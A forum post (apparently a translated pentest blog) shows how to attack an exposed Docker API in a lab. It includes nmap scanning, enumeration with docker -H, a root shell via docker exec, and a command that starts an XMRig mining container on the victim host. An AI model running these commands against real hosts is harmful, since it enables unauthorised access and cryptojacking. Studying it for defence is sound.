首页
社区
课程
招聘
[翻译]攻击对外开放的Docker API接口
2019-1-25 18:06 11122

[翻译]攻击对外开放的Docker API接口

2019-1-25 18:06
11122

简介

今天我们将探讨与 Docker 相关的一些安全风险, 尤其是我们会讨论到的将本地 Docker API 开放给外界的后果.

 

特别是我们将研究本地Docker API暴露于外部世界的后果.

 

默认情况下, 在主机上安装 Docker 时只能从loopback接口访问 Docker API. 这很好, 但显然出于某些原因, 你可能希望公开这些API, 以便使用一些外部工具, 比如 Portainer.

 

Portainer 是一个轻量级的 Docker 图形化管理UI, 您可以将其附加到 Docker 套接字上, 让它在本地运行, 或者也可以用它管理托管到远程主机上的容器.

 

 

为了解释这个攻击手段, 我搭建了一个非常简单的实验:

  • 主机: Ubuntu 16.04 LTS

  • 主机上安装有最新版本的Docker CE

  • 拉入主机的 Debian 容器

实验环境的配置过程非常轻松, 我使用 Vagrant 来启动 Ubuntu 虚拟机. Docker 的命令也非常简单, 所以我不再过多解释.

 

要想复现此次攻击, 你需要开放 Docker API. 我按照 这篇教程 进行了相应操作.

 

而你唯一需要做的就是根据 https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd 这篇文章的内容创建一个文件并写入以下内容:

# /etc/systemd/system/docker.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2376

然后运行以下命令重载 Unit 文件(重启 systemctl 守护进程):

sudo systemctl daemon-reload

并重启 Docker 服务.

sudo systemctl restart docker.service

现在你可以看到 Docker 进程正监听着端口 2376:

vagrant@ubuntu-xenial:~$ sudo netstat -tulpn | grep 2376
tcp6       0      0 :::2376                 :::*                    LISTEN      4504/dockerd    
vagrant@ubuntu-xenial:~$

搜集和枚举信息

现在假设我们是一名攻击者(这十分有趣)

 

我们对主机一无所知, 故我们先从端口扫描开始做起:

sudo nmap -sS -T5 192.168.1.7 -p-
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:31 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00076s latency).
Not shown: 65498 closed ports, 35 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
2376/tcp open  docker
MAC Address: 08:00:27:CA:62:F8 (Oracle VirtualBox virtual NIC)

因为没有包含 Docker API 端口, 所以我得扫描更多默认前1000的端口. :(

 

好吧. 那服务检测结果怎么样呢?

nmap -sTV -p 2376 192.168.1.7
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:35 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00038s latency).
PORT     STATE SERVICE    VERSION
2376/tcp open  18.06.0-ce Docker
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.78 seconds

这证实我们正在和 Docker 打交道, Nmap也发现了 Docker 的确切版本. 我们可以向http://<IP>:2376/version 端点发送 GET 请求进行确认.

 

 

注意: Claudio Criscione 写了一个 nmap 脚本来完成这事 (他的Github页面).

 

我们要做的最后一件事就是使用 Docker 命令测试公开的API

 

语法也相当简单:

docker -H <host>:<port> info

 

Bingo, 我们可以用 Docker 命令来访问 Docker API 了.

接下来做什么?

我们来探讨后续的可能操作, 我们可以用这些 API 实现什么?

搜集信息

在攻击主机及其容器之前, 我们需要搜集一些信息:

 

当前主机上是否有一些正在运行的容器?
docker -H 192.168.1.7:2376 ps

 

当前主机上是否有一些已停止运行的容器?
docker -H 192.168.1.7:2376 ps -a

 

主机上已拉取的镜像有哪些?
docker -H 192.168.1.7:2376 images

 

检查那些镜像, 镜像可能含有丰富的信息, 你可以试着运行那些镜像并访问它们.

 

在这种情况下, 我们找到了一个运行着的 Debian 容器:

 

访问容器

通过exec命令在容器内打开一个 shell, 在这里我们生成一个 bash.

docker -H 192.168.1.7:2376 exec -it <container name> /bin/bash

 

为什么我们已经是 root 用户了? 很简单, 因为容器内的默认用户就是 root 用户, 速赢!

 

一旦进入容器, 我们就可以开始挖掘一些有用的信息, 你需要考虑这些问题:

 

容器是否只有一个? 有其他的容器正在运行吗? 是否使用 Docker Compose 进行部署? 这个容器的用途是什么? 一个 Web应用? 后端? 数据库? 根据用途, 能找到具有数据库认证的配置文件吗, 依次类推.

 

系统管理员/DevOps工程师是否使用某些自动化配置管理工具, 比如ansible, salt?

 

如果有用, 那么就可以去找特定的配置文件(Google是你的好帮手).

 

要是足够幸运的话, 你只需点击几下就可拥有整个应用程序栈!

 

如果可以的话, 检查容器内应用程序的代码, 你能否确定是否还有其他有趣的服务, 比如KV存储, 缓存?

启动其他容器

另一个你可以做的趣事就是, 你可以启动其他的容器, 虽然这不是十分隐秘, 但可能相当有用.

 

根据加密货币挖矿的趋势, 这篇博文解释了如何使用 Docker 挖取门罗币: https://getmonero.org/resources/user-guides/mining_with_xmrig_and_docker.html

 

你可以点击这个 DockerHub 的链接查看相应的 Dockerfile.

 

你可以使用以下命令轻松地启动挖矿容器:

docker -H 192.168.1.7:2376 run --restart unless-stopped --read-only -m 50M -c 512 bitnn/alpine-xmrig -o POOL01 -o POOL02 -u WALLET -p PASSWORD -k

瞧, 用 Docker 挖矿.

 

另一种选择可能是作为互联网上的廉价僵尸网络容器.

这能构造真正的威胁吗?

你可能会想, 谁会把 Docker API 暴露在互联网上呢?

 

首先, 你可以在内部渗透测试时遇到这种情况, 所以这仍然有帮助.

 

其次我们找来强大的 Shodan 来观察这是否构成安全问题:

 

 

共有760个开放的 Docker API. 我们可以利用此造成严重的问题.

总结与进一步工作展望

本文我们研究了与 Docker 相关的一些威胁.

 

Docker 是一个非常强大的引擎, 节省了许多开发人员(包括我)的时间. 但是提供强大功能的同时也带来了厚重的责任.

 

让 Docker API 暴露在互联网上可能会导致数据丢失, 挖矿, 僵尸网络等问题.

 

我刚刚开始深入研究这个方面的内容, 未来我将专注于其他现代技术, 例如Kubernetes. 软件开发在现代经历了许多变化, 渗透测试也应该相应地调整和适应.

 

不断涌现的新技术, 新攻击, 新威胁, 多美好的生活!

 

原文链接: Attacking Docker exposed API
翻译: 看雪翻译小组 vancir
校对: 看雪翻译小组 lipss


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2019-1-30 14:02 被Vancir编辑 ,原因: 修改一些语法问题
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 216
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
亿乐社区系统 2019-6-17 21:29
2
0
1
游客
登录 | 注册 方可回帖
返回